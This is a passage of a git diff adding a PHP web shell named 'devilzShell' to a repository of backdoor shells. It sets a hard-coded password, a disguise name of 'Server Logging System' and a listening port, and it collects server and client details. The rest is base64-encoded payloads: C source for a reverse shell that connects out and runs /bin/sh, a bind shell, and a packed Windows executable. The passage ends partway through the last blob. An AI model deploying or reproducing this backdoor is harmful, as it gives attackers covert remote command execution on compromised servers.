"; +%><% out.println(html_final.replace("\\s+"," ").trim()); %> \ No newline at end of file diff --git a/Backdoor Dev Shells/Source/devilzShell.php b/Backdoor Dev Shells/Source/devilzShell.php new file mode 100644 index 0000000..444b133 --- /dev/null +++ b/Backdoor Dev Shells/Source/devilzShell.php @@ -0,0 +1,1213 @@ + +// ^^^^^^^^^^^^ +// author: b374k +// greets: devilzc0der(s) and all of you who love peace and freedom +// +// +// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +// Jayalah Indonesiaku + + +//################ VARIABLES GOES HERE #######################=============================================] +$shell_name = "devilzShell"; +$shell_fake_name = "Server Logging System"; +$shell_title = " :: ".$shell_name." ::"; +$shell_version = "v1"; +$shell_password = "devilzc0der"; +$shell_fav_port = "12345"; +$shell_color = "#374374"; + +// server software +$xSoftware = trim(getenv("SERVER_SOFTWARE")); +// uname -a +$xSystem = trim(php_uname()); +// server ip +$xServerIP = $_SERVER["SERVER_ADDR"]; +// your ip ;-) +$xClientIP = $_SERVER['REMOTE_ADDR']; + +$xHeader = $xSoftware."
".$xSystem."
Server IP: [ ".$xServerIP." ]   Your IP: [ ".$xClientIP." ]"; + +//################# RESOURCES GOES HERE #######################=============================================] +$icon = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAB/klEQVR42o2RS2gUQRCGq7rHB0rw +4miwFWVmPSmIHpaQSwQD4ivGKHsImIOyBhJETUDjRaMIEjTk4gNFIutBwScY8eBh9aBgyCGCiKu4 +E4kzBk0uimiI21XWwgbMorOppumuKuqr6r8RZmnjxl8iR0H2DzfKT03HsVLhV+Ove4rc8xk4uYtx +dCHgGQHc/SdAuqwZB9jCAE7RnwLGR8hHbiK5/aQzCcC0FP/+u2YG4KPx2+p14SKVTbFIiPdI7/ei +oL98whmAt8bv3O7Y89sIv29kzOpSvENR41lSD1Jh0BQLeGf8jq3a9nayetX2KVhfeta8Gm0nuwgH +0+FITSxgzPgtm3Qhs5qR+kgfqwIYGgVuTmk60EPq/p4w2B0LkG5+l7I5Ud3BUsoBBlc0uEVOakWU +vxMLKNqA8V4c0rZWyZ0lzbI2M9rTpNfKD+RiAV+MX9eiCs9+yV2ecLkacPgaUvcNxcuuWHW9Pgr2 +xQJeGu9Us7YnjpMaFsE2FGOh8dN12l49SjjUGo4kYwE54x3eqW3fXlJjrawSMvLPN8brbtB08hyp +gaYwaIgFTJjE0l5l3wfAVRdIN4qQT8T/dht5btbq9pVR/lJFEUWHWhF9fnWUzxb9x8u9hwcV7ZjO +D1rHXRx9mPgvoNxkqjmTwKnXyMlVgAtcxucCyMwaUMn+AMvLzBHNivq3AAAAAElFTkSuQmCC"; +$bg = "iVBORw0KGgoAAAANSUhEUgAAAAMAAAADCAYAAABWKLW/AAAAJklEQVR42mNkAAIpKan/b968YWAE +MZ49ewamGdnY2P6LiIgwgAQA8xYNYheotNcAAAAASUVORK5CYII="; +$xBack ="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5l +dGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZk +Ow0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47IA0KIGRhZW1vbigxLDApOw0KIHNpbi5zaW5fZmFt +aWx5ID0gQUZfSU5FVDsNCiBzaW4uc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0pKTsNCiBz +aW4uc2luX2FkZHIuc19hZGRyID0gaW5ldF9hZGRyKGFyZ3ZbMl0pOyANCiBiemVybyhhcmd2WzJd +LHN0cmxlbihhcmd2WzJdKSsxK3N0cmxlbihhcmd2WzFdKSk7IA0KIGZkID0gc29ja2V0KEFGX0lO +RVQsIFNPQ0tfU1RSRUFNLCBJUFBST1RPX1RDUCkgOyANCiBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1 +Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICBw +ZXJyb3IoIlstXSBjb25uZWN0KCkiKTsNCiAgIGV4aXQoMCk7DQogfQ0KIGR1cDIoZmQsIDApOw0K +IGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFy +ICopMCk7IA0KIGNsb3NlKGZkKTsgDQp9"; +$xBind = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5 +cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4N +CiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFy +ICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBy +ZW1vdGU7DQogaWYoZm9yaygpID09IDApIHsgDQogcmVtb3RlLnNpbl9mYW1pbHkgPSBBRl9JTkVU +Ow0KIHJlbW90ZS5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KIHJlbW90ZS5zaW5f +YWRkci5zX2FkZHIgPSBodG9ubChJTkFERFJfQU5ZKTsgDQogc29ja2ZkID0gc29ja2V0KEFGX0lO +RVQsU09DS19TVFJFQU0sMCk7DQogaWYoIXNvY2tmZCkgcGVycm9yKCJzb2NrZXQgZXJyb3IiKTsN +CiBiaW5kKHNvY2tmZCwgKHN0cnVjdCBzb2NrYWRkciAqKSZyZW1vdGUsIDB4MTApOw0KIGxpc3Rl +bihzb2NrZmQsIDUpOw0KIHdoaWxlKDEpDQogIHsNCiAgIG5ld2ZkPWFjY2VwdChzb2NrZmQsMCww +KTsNCiAgIGR1cDIobmV3ZmQsMCk7DQogICBkdXAyKG5ld2ZkLDEpOw0KICAgZHVwMihuZXdmZCwy +KTsgICANCiAgIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFyICopMCk7IA0KICAgY2xvc2UobmV3 +ZmQpOw0KICB9DQogfQ0KfQ0KaW50IGNocGFzcyhjaGFyICpiYXNlLCBjaGFyICplbnRlcmVkKSB7 +DQppbnQgaTsNCmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSANCnsNCmlmKGVudGVyZWRb +aV0gPT0gJ1xuJykNCmVudGVyZWRbaV0gPSAnXDAnOyANCmlmKGVudGVyZWRbaV0gPT0gJ1xyJykN +CmVudGVyZWRbaV0gPSAnXDAnOw0KfQ0KaWYgKCFzdHJjbXAoYmFzZSxlbnRlcmVkKSkNCnJldHVy +biAwOw0KfQ=="; +$wBind="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v +ZGUuDQ0KJAAAAAAAAAA0GAk5cHlnanB5Z2pweWdqmGZsanF5Z2rzZWlqenlnanB5ZmpNeWdqEmZ0 +and5Z2qYZm1qanlnalJpY2hweWdqAAAAAAAAAABQRQAATAEDAIkLlD8AAAAAAAAAAOAADwELAQYA +ADAAAAAQAAAAQAAAYHIAAABQAAAAgAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAACQAAAA +EAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAACAAAAIAQAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFVQWDAAAAAA +AEAAAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOBVUFgxAAAAAAAwAAAAUAAAACQAAAAEAAAA +AAAAAAAAAAAAAABAAADgVVBYMgAAAAAAEAAAAIAAAAACAAAAKAAAAAAAAAAAAAAAAAAAQAAAwAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +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 